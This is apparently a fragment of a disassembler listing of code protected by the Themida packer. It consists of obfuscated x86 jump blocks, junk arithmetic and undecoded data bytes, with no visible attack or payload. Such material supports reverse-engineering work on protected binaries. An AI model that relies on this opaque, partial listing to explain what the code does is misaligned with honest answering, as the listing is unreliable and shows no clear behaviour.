; ---------------------------------------------------------------------------


loc_566C03:				; CODE XREF: Themida_:0055E6B1j
		shl	edi, 1
		jmp	loc_56F3CF
; ---------------------------------------------------------------------------
		dw 0F9BDh
		dd 4D0AED3Dh, 0BA52D5F7h, 0
aZZqTBfSusmc	db ')ZQT%FUM',0
		dw 8300h
		dd 43304C4h, 24043124h,	65CAE9h
		db 0
; ---------------------------------------------------------------------------


loc_566C39:				; CODE XREF: Themida_:0055FE72j
		pop	ebp
		add	dword ptr [esp+8], 0F505140h
		add	[esp+8], ecx
		sub	dword ptr [esp+8], 0F505140h
		pop	ecx
		add	dword ptr [esp+4], 5BFD11BDh
		sub	[esp+4], esi
		push	ebp
		mov	ebp, 5BFD11BDh
		sub	[esp+8], ebp
		pop	ebp
		sub	dword ptr [esp+4], 5A9308D5h
		jmp	loc_56F1E1
; ---------------------------------------------------------------------------
		db 87h
		dd 895C2434h, 0EC81243Ch, 4, 68240C89h,	377363CAh, 87E98159h
		dd 6831A361h, 3145h, 2A4BE9h, 595A6600h, 12D168h, 240C8900h
		dd 9FE9E189h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566CAB:				; CODE XREF: Themida_:0057106Dj
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_567DAA
; ---------------------------------------------------------------------------
		db 0BFh, 4, 0
		dd 0FB010000h, 74E9555Fh
		db 81h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_566CCB:				; CODE XREF: Themida_:0055F9F1j
		mov	eax, 8183826Ch
		add	eax, edx
		pop	edx
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		jmp	loc_565E95
; ---------------------------------------------------------------------------
		dw 0C283h
		dd 24148704h, 8DB5E9h, 0C2E95000h
		db 78h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566CEF:				; CODE XREF: Themida_:0056B545j
		shl	ebx, 8
		or	ebx, 0E4F34C8h
		dec	ebx
		jmp	loc_56FF19
; ---------------------------------------------------------------------------
		dw 0FA01h
		dd 2D86E9h, 50B5B100h, 0A6E2E9h, 0B4E98100h, 0E94B4A08h
		dd 0FFFFF5D5h, 8B240C87h, 8B682424h, 8900005Fh,	8B542434h
		dd 0C4832434h, 0ECF7E904h, 0BB53FFFFh, 2E6E6FF1h, 0C103E3C1h
		dd 0F38108E3h, 4A1A460h, 0C15BDD31h, 0ED8103EDh, 921A5AB4h
		dd 0FFF492E9h, 0E95258FFh, 5B31h, 4246C81h, 37D037F4h
		dd 4245C29h, 4244481h, 37D037F4h, 2DF1BB53h, 5C0145A7h
		dd 1C8B0824h, 0E1895124h, 6374E9h, 81EA8100h, 0E952D86Ch
		dd 0FFFFBCF3h
dword_566D90	dd 0FF2434FFh, 83582434h, 348904ECh, 815E5424h,	4C6h, 75EF6800h
					; DATA XREF: Themida_:0055C240o
		dd 14890000h, 0BF575524h, 22B43346h, 895FFD89h,	0EBE95DEAh
		dd 0B6000097h, 3063E954h, 0E9800000h, 80C10019h, 285819C1h
		dd 0F1E980D9h, 38E95B66h, 58FFFF96h, 0DEE9DD29h, 5EFFFF72h
		dd 133E9h, 24048300h, 24048F04h, 0FF59BDE9h, 243C33FFh
		dd 33243C31h, 0E95C243Ch, 0FFFF7CC7h, 5966CB30h, 2B2568h
		dd 240C8900h, 0C5FE12B5h, 30B6ED80h, 0C38059EBh, 0E95450F6h
		dd 23C3h, 0C781E789h, 4, 0E904EF83h, 0FFFFA852h
; ---------------------------------------------------------------------------


loc_566E34:				; CODE XREF: Themida_:0056BE55j
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_56DFA1
; ---------------------------------------------------------------------------
		db 89h
		dd 4C281E2h, 0E9000000h, 8273h
; ---------------------------------------------------------------------------


loc_566E50:				; CODE XREF: Themida_:0056B9E8j
		push	ebp
		mov	ebp, 442A13C6h
		add	ebp, 0EC875935h
		or	edi, ebp
		jmp	loc_55D125
; ---------------------------------------------------------------------------
byte_566E63	db 0FFh			; DATA XREF: Themida_:0055C1F0o
		dd 34FF2434h, 0E6E95924h
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566E6F:				; CODE XREF: Themida_:0056119Dj
		push	ebx
		xchg	ebx, [esp]
		not	ebx
		jmp	loc_55CA33
; ---------------------------------------------------------------------------
		dw 3C33h
		dd 69BDE924h
		db 2 dup(0FFh)
word_566E82	dw 8B66h		; DATA XREF: Themida_:0055C080o
		dd 9368240Ch, 0E9000025h, 0FFFF759Ch, 681BB850h, 85052AF2h
		dd 12DEEFBh, 0C82958C1h, 0FFF82EE9h, 7FEF81FFh,	0E9AECE9Dh
		dd 98A1h, 0B3EB80h, 0D0005BD8h,	9962E9h, 4BA5200h, 1000000h
		dd 68555AD1h, 0AA9h, 68241489h,	4DA128B9h, 99EBE95Ah, 1C8B0000h
		dd 57A1E924h, 0F281FFFFh, 0AF409F9h, 0FF5436E9h, 2424D3FFh
		dd 0FF542EE9h, 81E789FFh, 4C7h,	4C78300h, 5C243C87h, 0EC81D829h
		dd 4, 0E9243C89h, 0FFFF5F12h, 0E9240489h, 0FFFF8A57h, 6859CF01h
		dd 32C7h, 0E9240C89h, 0FFFFD01Bh, 4C48158h, 81000000h
		dd 4ECh, 241C8900h, 0FFA4C2E9h,	0E2C15AFFh, 0E9505502h
		dd 6348h, 0BB665366h, 1663AE5h,	665B66DEh, 665EF301h, 0EC81C301h
		dd 4, 68243C89h, 0FADh,	8AFAE9h, 0F5C78100h, 8347182Fh
		dd 48904ECh, 24E95224h,	8BFFFFA1h, 0C4832404h, 16ED8104h
		dd 210B43CCh, 242C8BEEh, 4C481h, 0EE810000h, 0D937F933h
		dd 77E9F109h, 5A000041h, 0E9243487h, 0FFFFFA25h, 4AE3E959h
		dd 53560000h, 145AB850h, 0F75063B4h, 48582414h,	3540D0F7h
		dd 7533582Eh, 8158C389h, 0D6BEFF3h, 43CB810Ch, 816A7909h
		dd 4D025C3h, 24E95385h,	0E9FFFF63h, 0FFFF5337h,	0BF243C89h
		dd 4, 3BE9F901h, 0E9FFFF77h, 0FFFF5323h
; ---------------------------------------------------------------------------


loc_567000:				; CODE XREF: Themida_:00571272j
		add	edx, 4
		sub	edx, 2
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_55C323
; ---------------------------------------------------------------------------


loc_567028:				; CODE XREF: Themida_:0056C4F4j
		add	esp, 4
		add	esp, 4
		sub	ebx, eax
		jmp	loc_56F112
; ---------------------------------------------------------------------------


loc_567038:				; CODE XREF: Themida_:0055E592j
		push	7FC07095h
		jmp	loc_5701E3
; ---------------------------------------------------------------------------


loc_567042:				; CODE XREF: Themida_:00561561j
		push	esi
		jmp	loc_56D96C
; ---------------------------------------------------------------------------
		dd 68E9515Bh
		db 0B7h, 2 dup(0FFh)
byte_56704F	db 0FFh			; DATA XREF: Themida_:0055C2C4o
		dd 2AE92434h
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567057:				; CODE XREF: Themida_:0055FAB9j
		shl	al, 3
		jmp	loc_55DFB3
; ---------------------------------------------------------------------------
		db 8Bh
		dd 34E92404h, 83FFFF5Ah, 0C2E904C1h, 0C1FFFF8Fh, 0F18102E1h
		dd 42DF013Ch, 5C80E981h, 0E181005Bh, 6C8507EDh,	4FCBE9h
		dd 8BC80100h, 0CBE9240Ch
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567093:				; CODE XREF: Themida_:0056833Dj
		pop	eax
		add	edx, 5E822B9Ah
		add	edx, ebp
		sub	edx, 5E822B9Ah
		pop	ebp
		jmp	loc_570E9C
; ---------------------------------------------------------------------------


loc_5670A8:				; CODE XREF: Themida_:0055D18Aj
		pop	eax
		jmp	loc_55C323
; ---------------------------------------------------------------------------
		dw 0D8F7h
		dd 0FC0DD8F7h, 509CD5Ch, 0FD3896E8h, 0E958C201h, 34C0h
		dd 0E924048Bh, 0FFFF80E9h, 0D40C781h, 0DF29538Eh, 0D40EF81h
		dd 0E95B538Eh, 79EBh, 83242489h, 0BFE904ECh, 0FF00002Dh
		dd 34FF2434h, 6BE95824h, 51FFFFDAh, 0BA52E189h,	4, 835AD101h
		dd 0FF5104C1h, 59042474h, 5C24048Fh, 8101C683h,	0BC24E0E6h
		dd 0BAEE8139h, 68551000h, 47Ah,	0E9242C89h, 0FFFFC820h
		dd 83240C8Bh, 0A0E904C4h, 89000083h, 0A5FBE9E0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56713E:				; CODE XREF: Themida_:0056E5BEj
		mov	esi, 2F4827D6h
		add	[esp+4], esi
		pop	esi
		mov	eax, [esp]
		jmp	loc_56F393
; ---------------------------------------------------------------------------
		dd 8068C680h, 0F028A2C6h, 6C89E9h, 5DEB3100h, 1091E9h
		dd 4BF5700h, 29000000h,	9588E9F9h, 34FFFFFFh, 0EC835A24h
		dd 24048904h, 405E089h,	83000000h, 48704C0h, 3C335C24h
		dd 86F1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_567192:				; CODE XREF: Themida_:0056EC7Fj
		mov	dl, 97h
		mov	ah, dl
		pop	edx
		shr	ah, 6
		jmp	loc_571353
; ---------------------------------------------------------------------------
		db 54h
		dd 83241C8Bh, 0BF5704C4h, 65DE3E75h, 79BEE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5671B2:				; CODE XREF: Themida_:0056C229j
		add	esi, ebx
		jmp	loc_560AAB
; ---------------------------------------------------------------------------


loc_5671B9:				; CODE XREF: Themida_:0056DD26j
		mov	bl, ch
		push	dword ptr [esp]
		jmp	loc_56DCED
; ---------------------------------------------------------------------------
		db 0BFh
		dd 58C46B1Bh, 4A5FFA29h, 0FFA257E9h, 6295B9FFh,	0D3E95B41h
		dd 21000014h, 0E9815DE9h, 5A2D1043h, 5D66E181h,	0E981176Fh
		dd 706F45A8h, 8159CD29h, 0BF644EEBh, 81EB2946h,	0BF644EC3h
		dd 0BA525D46h, 8693F6DEh, 0FFB4DFE9h, 66CCBFFFh, 0F781739Fh
		dd 36FB6DABh, 15B6F781h, 0FB290DA5h, 81243C8Bh,	4C4h, 95C38100h
		dd 8139313Ah, 0E85B77EBh, 1C38137h, 10EF35Ch, 34D5E9FBh
		dd 2D660000h, 0C1661B67h, 0D6603E0h, 35667FDCh,	8966EE6Fh
		dd 216658C7h, 5685E9F9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56725E:				; CODE XREF: Themida_:0056355Cj
		sub	eax, 3D036FEBh
		add	eax, ebx
		add	eax, 3D036FEBh
		add	[eax], edx
		pop	eax
		jmp	loc_560632
; ---------------------------------------------------------------------------
		dw 8966h
		dd 6657241Ch, 0E9587DBFh, 0FFFF59E9h
; ---------------------------------------------------------------------------


loc_567280:				; CODE XREF: Themida_:00562F7Fj
		push	ebp
		push	ebx
		pop	ebp
		pop	ebx
		push	6984h
		jmp	loc_56C9B8
; ---------------------------------------------------------------------------
		dw 0D101h
		dd 21DFE981h, 34FF4439h, 31CDE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56729E:				; CODE XREF: Themida_:00560BACj
		mov	eax, 4
		add	edi, eax
		pop	eax
		jmp	loc_56E032
; ---------------------------------------------------------------------------
aZ4SN		db '4$Ս',0
		db 0
; ---------------------------------------------------------------------------


loc_5672B3:				; CODE XREF: Themida_:0056DB01j
		mov	ecx, 137535ABh
		sub	ebp, ecx
		pop	ecx
		push	ecx
		mov	ecx, 1E2E7CD6h
		add	ecx, 560F0235h
		sub	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_568B8D
; ---------------------------------------------------------------------------
		dw 5DBEh
		dd 817C7E29h, 0EA9DDCF6h, 2F47E928h, 4050000h, 5000000h
		dd 4, 0FF9375E9h, 0E9E829FFh, 0FFFFE5BCh, 904C483h, 34FF1C4Fh
		dd 0BE95924h, 52000031h, 0FFD57BE9h, 13EBDFFh, 0EB291761h
		dd 8E3C15Dh, 0E904EC83h, 9C5h, 0B605F029h, 5573D65h, 76EA75B6h
		dd 1F73E9h
		db 0
; ---------------------------------------------------------------------------


loc_567339:				; CODE XREF: Themida_:00564FFFj
		pop	edi
		shr	ebp, 7
		sub	ebp, 966DCEF2h
		xor	ebx, ebp
		mov	ebp, [esp]
		jmp	loc_570F5D
; ---------------------------------------------------------------------------


loc_56734D:				; CODE XREF: Themida_:0056A098j
		pop	eax
		or	dword ptr [edx+38h], 43AF3939h
		jmp	loc_55DFD5
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 0E03538F3h, 712D5F7Bh, 572EE23h, 79F86315h, 152DD801h
		dd 0E979F863h, 3CD7h
; ---------------------------------------------------------------------------


loc_567378:				; CODE XREF: Themida_:005680CFj
		mov	edx, 3B81552Ch
		sub	edx, 4F306358h
		push	edi
		mov	edi, 6205149h
		and	edx, edi
		pop	edi
		jmp	loc_56C1F6
; ---------------------------------------------------------------------------


loc_567391:				; CODE XREF: Themida_:0056CADCj
		mov	edi, 69751202h
		neg	edi
		xor	edi, 429A7F8Ah
		push	ebp
		mov	ebp, 8FB5C91Bh
		jmp	loc_56F8E9
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 8124048Bh, 4C4h, 0E7895700h,	7B63B951h, 0E9C11CAAh
		dd 7AE94106h, 0FFFFD1h,	0EB8058C3h, 1C0EE95Eh
		db 2 dup(0)
word_5673D2	dw 0F66h		; DATA XREF: Themida_:0055C264o
		dd 686602B6h, 896657A1h, 40E92404h, 81FFFF4Fh, 4C4h, 6AC18100h
		dd 81E5A5F0h, 6B4558C3h, 0E9CB0159h, 0FFFFA6DAh
; ---------------------------------------------------------------------------


loc_5673FC:				; CODE XREF: Themida_:0056F6BFj
		xor	eax, 942C2EE9h
		jmp	loc_5674B9
; ---------------------------------------------------------------------------
		dw 0FF57h
		dd 0E9042474h, 0FFFF5BEFh, 0E094DB35h, 0E9C289D8h, 58C5h
		dd 1EA8366h, 384FE9h, 9DC58100h, 313DE0ECh, 9166E9EAh
		dd 24890000h, 24048324h, 24048B04h, 5604C483h, 4BEh, 5EF00100h
		dd 5FBD68h, 241C8900h, 1296E9h,	42DAF700h, 72D0E281h, 1AE9422Bh
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_567463:				; CODE XREF: Themida_:00562EE2j
		mov	[esp], esi
		mov	esi, edi
		push	esi
		xor	dword ptr [esp], 3E0F6E8Dh
		jmp	loc_563F15
; ---------------------------------------------------------------------------
		db 80h,	0F3h, 1Ch
		dd 0E3D0CBFEh, 7366E952h, 0E789FFFFh, 46852h, 815A0000h
		dd 962AC1C7h, 0C2EF8145h, 816C363Ch, 0DB7806C7h, 81D7014Fh
		dd 0DB7806EFh, 0AD36E94Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5674AA:				; CODE XREF: Themida_:005632FEj
		pop	eax
		inc	ecx
		sub	ecx, 8DB91Bh
		mov	edx, ecx
		jmp	loc_55C3EE
; ---------------------------------------------------------------------------


loc_5674B9:				; CODE XREF: Themida_:00567401j
		and	esi, eax
		jmp	loc_565DBB
; ---------------------------------------------------------------------------
		dd 0C00BC980h, 0C18008E1h, 85F0E990h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5674CE:				; CODE XREF: Themida_:00570AF2j
		add	ebx, 4
		add	ebx, 2
		jmp	loc_55E8D1
; ---------------------------------------------------------------------------
		db 89h
		dd 4C281E2h, 56000000h,	4EC81h,	0C890000h, 371A6824h, 73E907C6h
		dd 1FFFF52h, 0EC835DEFh, 24348904h, 2BEh, 0D6EF8100h, 516FD972h
		dd 3A130DB9h, 0FFC1814Ch, 811F435Ah, 322788F1h,	59CF2957h
		dd 0C781F701h, 3C4F4984h, 0FF4EA9E9h, 4EC81FFh,	89000000h
		dd 64E92434h
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56753F:				; CODE XREF: Themida_:00565781j
		pop	esp
		jmp	loc_5663D2
; ---------------------------------------------------------------------------


loc_567545:				; CODE XREF: Themida_:00570B1Cj
		pop	ecx
		pop	eax
		xchg	ebx, [esp]
		pop	esp


loc_56754B:				; CODE XREF: Themida_:00560D93j
					; Themida_:0056BF2Ej
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_564EDF
; ---------------------------------------------------------------------------


loc_56755F:				; CODE XREF: Themida_:005615E8j
		mov	[esp], edi
		push	esp
		pop	edi
		push	3EC1h
		jmp	loc_562FD9
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 4BE56h, 0F5010000h, 478EE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56757E:				; CODE XREF: Themida_:00562F3Aj
		xchg	ecx, [esp]
		mov	esp, [esp]
		add	al, bl
		mov	bx, [esp]
		add	esp, 2
		sub	bl, 62h
		push	dx
		push	ecx
		mov	cl, 0E9h
		and	cl, 43h
		push	ax
		jmp	loc_55FE39
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E9042474h, 2574h, 0F20D8305h, 2DC82907h, 7F20D83h
		dd 74FF5059h, 48B0424h,	4C48124h, 8F000000h, 248B2404h
		dd 240C8924h, 0FF4D52E9h, 4EAC0FFh, 77EA80h, 8DD5E9D0h
		dd 0EE81FFFFh, 4, 452568h, 24348900h, 42474FFh,	24048F5Eh
		dd 2147E9h, 240C8900h, 0CC53DDB9h, 8BCA291Ch, 8956240Ch
		dd 4C681E6h, 81000000h,	4C6h, 53A6E900h, 49BAFFFFh, 420C125Ch
		dd 5FC5BD55h, 0CD817A0Eh, 39446DF9h, 445DED81h,	0EA292C6Eh
		dd 83242C8Bh, 0D2F704C4h, 0F86EBD55h, 0EA311E4Bh, 5AD5315Dh
		dd 8B1C6F09h, 0C483242Ch, 4CCDE904h, 1B8FFFFh, 1000000h
		dd 53CBE9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567662:				; CODE XREF: Themida_:00569FCEj
		mov	[esp], edx
		push	516Ch
		jmp	loc_55E0A8
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4335705Fh, 0FF7C84E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567679:				; CODE XREF: Themida_:00563334j
		push	eax
		mov	eax, 5FF13B0Eh
		xchg	eax, edi
		dec	edi
		xchg	eax, edi
		jmp	loc_56EE97
; ---------------------------------------------------------------------------
		db 31h
		dd 0EA8158C2h, 87EBE435h, 8AE9D001h
		db 55h,	2 dup(0)
byte_567697	db 0ACh			; DATA XREF: Themida_:0055C268o
		dd 0FF6464E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56769D:				; CODE XREF: Themida_:0056FBACj
		mov	edx, ecx
		mov	ecx, [esp]
		push	edx
		jmp	loc_56D6D4
; ---------------------------------------------------------------------------


loc_5676A8:				; CODE XREF: Themida_:0056490Bj
		mov	[esp], edi
		push	ebx
		push	esi
		mov	esi, 4668589Ch
		jmp	loc_55EECC
; ---------------------------------------------------------------------------
		db 2Dh
		dd 34EC6BB2h, 1A07BF57h, 56E9474Ch
		db 75h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5676C7:				; CODE XREF: Themida_:0056EE99j
		xor	eax, 796B7BCAh
		jmp	loc_560450
; ---------------------------------------------------------------------------
		db 33h,	14h, 24h
		dd 33241431h, 248B2414h, 2E446824h, 0C890000h, 0E1895124h
		dd 7A35B850h, 0E8C17362h, 66BE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5676F6:				; CODE XREF: Themida_:0056D790j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		sub	ebx, 4C18699Fh
		jmp	loc_56E746
; ---------------------------------------------------------------------------


loc_56770C:				; CODE XREF: Themida_:0055F793j
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_571583
; ---------------------------------------------------------------------------
		db 21h,	0E8h, 0FFh
		dd 835D2434h, 0E92D04C4h, 890A61A9h, 0DBF758C3h, 0E908E3C1h
		dd 0FFFFDBBCh
; ---------------------------------------------------------------------------


loc_567730:				; CODE XREF: Themida_:0055F036j
		pop	eax
		jmp	loc_55F86B
; ---------------------------------------------------------------------------
a1H		db '1]h',0
		align 4
		dd 2C810000h, 0CC1E9824h, 85F6E96Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56774A:				; CODE XREF: Themida_:0056E079j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 1
		push	edi
		mov	ebp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_56B841
; ---------------------------------------------------------------------------


loc_567771:				; CODE XREF: Themida_:005646DEj
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		not	dword ptr [esp]
		jmp	loc_56319A
; ---------------------------------------------------------------------------


loc_567780:				; CODE XREF: Themida_:00570EB8j
		mov	[esp], edi
		mov	edi, 79956425h
		sub	edx, 3AAC0D7Eh
		add	edx, edi
		jmp	loc_55D1E3
; ---------------------------------------------------------------------------


loc_567795:				; CODE XREF: Themida_:0055C7D2j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_56B079
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 1644C181h, 56520E53h, 572F60BEh, 3EEE8157h, 812DAF02h
		dd 0FD64E8CEh, 5BE68129h, 8126B61Dh, 0A0405BEEh, 0A4EE8170h
		dd 0E979A3B5h, 0FFFFA5B9h, 1E7C68h, 24048900h, 0FF8101E9h
		dd 81E1F7FFh, 4ECh, 24048900h, 0BD555854h, 647825E1h, 35C5814Dh
		dd 52189813h, 3433ABAh,	9C2E974h, 48F0000h, 0CCE95C24h
		dd 0F6000034h, 0A8E950DAh, 8300003Eh, 9CE902ECh, 8100000Fh
		dd 4ECh, 240C8900h, 0C1815954h,	4, 109768h, 243C8900h
		dd 0FFEE75E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567845:				; CODE XREF: Themida_:00567C04j
		sub	esp, 4
		jmp	loc_562F29
; ---------------------------------------------------------------------------
		db 0F7h, 0D7h, 0E9h
		dd 4054h, 942CBC25h, 18356Dh, 0C6890180h, 0BFC58158h, 0E907C42Ch
		dd 9CDAh, 285AD028h, 7310E9D8h,	8953FFFFh, 4C381E3h, 57000000h
		dd 4BFh, 5FFB2900h, 5BBEE9h, 1CF75100h,	3ED9E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_567896:				; CODE XREF: Themida_:005629B6j
		shl	cl, 2
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 0EDh
		add	cl, 0Ch
		jmp	loc_5648D9
; ---------------------------------------------------------------------------
		dd 0E99C5166h, 0FFFF4A6Fh, 8E14E95Bh, 0C4830000h, 0FCEB8104h
		dd 1710A75h, 0FCBD55CBh, 1710A75h, 34FF5DEBh, 0C4835924h
		dd 7CA6E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5678DA:				; CODE XREF: Themida_:005656CDj
		push	ebx
		push	edi
		jmp	loc_55F281
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 0B2h
		dd 43536F60h, 0FCD8EB81h, 0D90108C1h, 97CDE95Bh, 0C3890000h
		dd 1D61E9h, 241C3300h, 33241C31h, 248B241Ch, 6D61E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56790E:				; CODE XREF: Themida_:005652A1j
		add	ecx, 15083652h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56B0AD
; ---------------------------------------------------------------------------
		dw 0C31h
		dd 240C3324h, 0F624248Bh, 0B60F66E1h, 0FF5456CCh, 0E95E2434h
		dd 0F8Bh
; ---------------------------------------------------------------------------


loc_56793C:				; CODE XREF: Themida_:0056D6CFj
		mov	ecx, 44D0177Fh
		push	0
		jmp	loc_56F5A3
; ---------------------------------------------------------------------------
		db 1
		dd 0C68158C6h, 4, 31243433h, 34332434h,	24248B24h, 81E18951h
		dd 4C1h, 4E98100h, 0E9000000h, 621Ch
; ---------------------------------------------------------------------------


loc_567974:				; CODE XREF: Themida_:005702FFj
		pop	ebx
		push	ecx
		mov	ecx, 0FFFFFFFFh
		jmp	loc_56FBE8
; ---------------------------------------------------------------------------


loc_567980:				; CODE XREF: Themida_:0056231Cj
		add	eax, 4
		jmp	loc_55DCB6
; ---------------------------------------------------------------------------
aSR		db '^r',0
		align 10h
		dd 0E9243431h, 0FFFF5303h, 4E5FFE01h, 0F903C681h, 28E96CFAh
		dd 56FFFFC1h, 83C2E9h
		db 0
; ---------------------------------------------------------------------------


loc_5679AD:				; CODE XREF: Themida_:005624F7j
		and	ecx, 4E0F648Bh
		not	ecx
		neg	ecx
		dec	ecx
		sub	ecx, 3DC22A69h
		jmp	loc_561354
; ---------------------------------------------------------------------------


loc_5679C3:				; CODE XREF: Themida_:0056E68Cj
		add	bl, ah
		add	bl, 54h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_566387
; ---------------------------------------------------------------------------
		db 66h
		dd 52243489h, 31C4BA66h, 5AD68966h, 90168h, 24148900h
		dd 0E904EC83h, 0FFFF7C76h, 81E28952h, 4C2h, 3B17E900h
		dd 0FA010000h, 42CEC281h, 0EA812D18h, 1DFD406Ch, 148B0288h
		dd 4EC8124h, 89000000h,	5F54243Ch, 82C6E9h, 47ED8100h
		dd 0E969002Ch, 0FFFFD99Eh
; ---------------------------------------------------------------------------


loc_567A2C:				; CODE XREF: Themida_:0056130Bj
		xor	ebx, 925F8602h
		mov	ecx, ebx
		pop	ebx
		not	ecx
		add	ecx, 3E2BA9E0h
		sub	ebx, 3F4E2A76h
		sub	ebx, ecx
		push	edi
		mov	edi, 3F4E2A76h
		add	ebx, edi
		pop	edi
		pop	ecx
		sub	ebx, ebp
		push	5DC7h
		mov	[esp], edx
		push	edi
		mov	edi, 2ACC7656h
		jmp	loc_56FD02
; ---------------------------------------------------------------------------


loc_567A64:				; CODE XREF: Themida_:0056DF6Dj
		pop	ecx
		sub	edx, 4
		jmp	loc_569D30
; ---------------------------------------------------------------------------
byte_567A6D	db 0FFh, 77h, 2Ch	; DATA XREF: Themida_:0055C2BCo
		dd 0FF48AEE9h, 0E4B951FFh, 8104115Fh, 0F23D9CF1h, 8AF3E928h
		dd 1C8B0000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 42153FAh
		or	edi, 4F591CA2h
		add	edi, 108F3589h
		shl	edi, 2
		and	edi, 64FB2F4Dh
		jmp	loc_55E307
; ---------------------------------------------------------------------------
		dd 4EC8358h, 0E9243489h, 818Ch,	33243C31h, 0CCE9243Ch
		db 99h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567AC3:				; CODE XREF: Themida_:0056B88Aj
		pop	eax
		add	ebx, edx
		push	edx
		mov	edx, 312D7C38h
		push	ebp
		mov	ebp, 4341D5Ch
		xor	edx, ebp
		pop	ebp
		shl	edx, 3
		add	edx, 7E8B60B8h
		and	edx, 4CFB1653h
		add	edx, 35F56874h
		sub	ebx, edx
		pop	edx
		mov	edx, [esp]
		add	esp, 4
		mov	dx, [esp]
		push	ecx
		jmp	loc_5609E7
; ---------------------------------------------------------------------------
		db 88h,	0E5h, 0E9h
		dd 0FFFFC497h, 0D73087B2h, 0FE885A66h, 66F0005Bh, 0E9D0285Ah
		dd 4FC9h, 6DAC6866h, 240C8966h,	0C8B60F66h, 0E99C5166h
		dd 0FFFFAE42h, 0F829C181h, 0C8891E22h, 3BABE9h
		db 0
; ---------------------------------------------------------------------------


loc_567B39:				; CODE XREF: Themida_:0056C6DCj
		add	esp, 4
		push	ebx
		mov	ebx, edi
		jmp	loc_56304F
; ---------------------------------------------------------------------------
a11Hpe		db '11hE',0
		dd 24348900h, 825C6168h, 5409E989h, 0FE01FFFFh,	0E91685Fh
		dd 0F1E90000h
		db 5Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567B67:				; CODE XREF: Themida_:0056F8D5j
		pop	esi
		not	esi
		shl	esi, 1
		shr	esi, 4
		sub	esi, 0A75829ACh
		mov	eax, esi
		pop	esi
		xor	eax, edx
		jmp	loc_57144A
; ---------------------------------------------------------------------------
		db 89h
		dd 241C8BDEh, 0FFF56EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567B89:				; CODE XREF: Themida_:0056F98Aj
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_568A1C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4312424h, 4781E924h,	20BBFFFFh, 0E96AC954h, 0FFFF9DC1h
; ---------------------------------------------------------------------------


loc_567BAC:				; CODE XREF: Themida_:00567E7Aj
		push	edi
		mov	edi, esp
		jmp	loc_55F28C
; ---------------------------------------------------------------------------
		dd 89240C89h, 41E957E1h, 81000094h, 7BDFC4EBh, 6D7DE9B2h
		dd 0B4B9FFFFh, 0C1742479h, 0F2E908E9h, 0BF000006h, 0B0D7AD1h
		dd 895FF931h, 0DDF759CDh, 1F9E581h, 0ED817ED6h,	1E7DCE69h
		dd 3E9EE01h
		db 5Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_567BF7:				; CODE XREF: Themida_:0056FBD8j
		add	bl, 0BCh
		sub	bl, 26h
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		mov	ecx, esp
		jmp	loc_567845
; ---------------------------------------------------------------------------
		db 0BEh, 0FAh, 40h
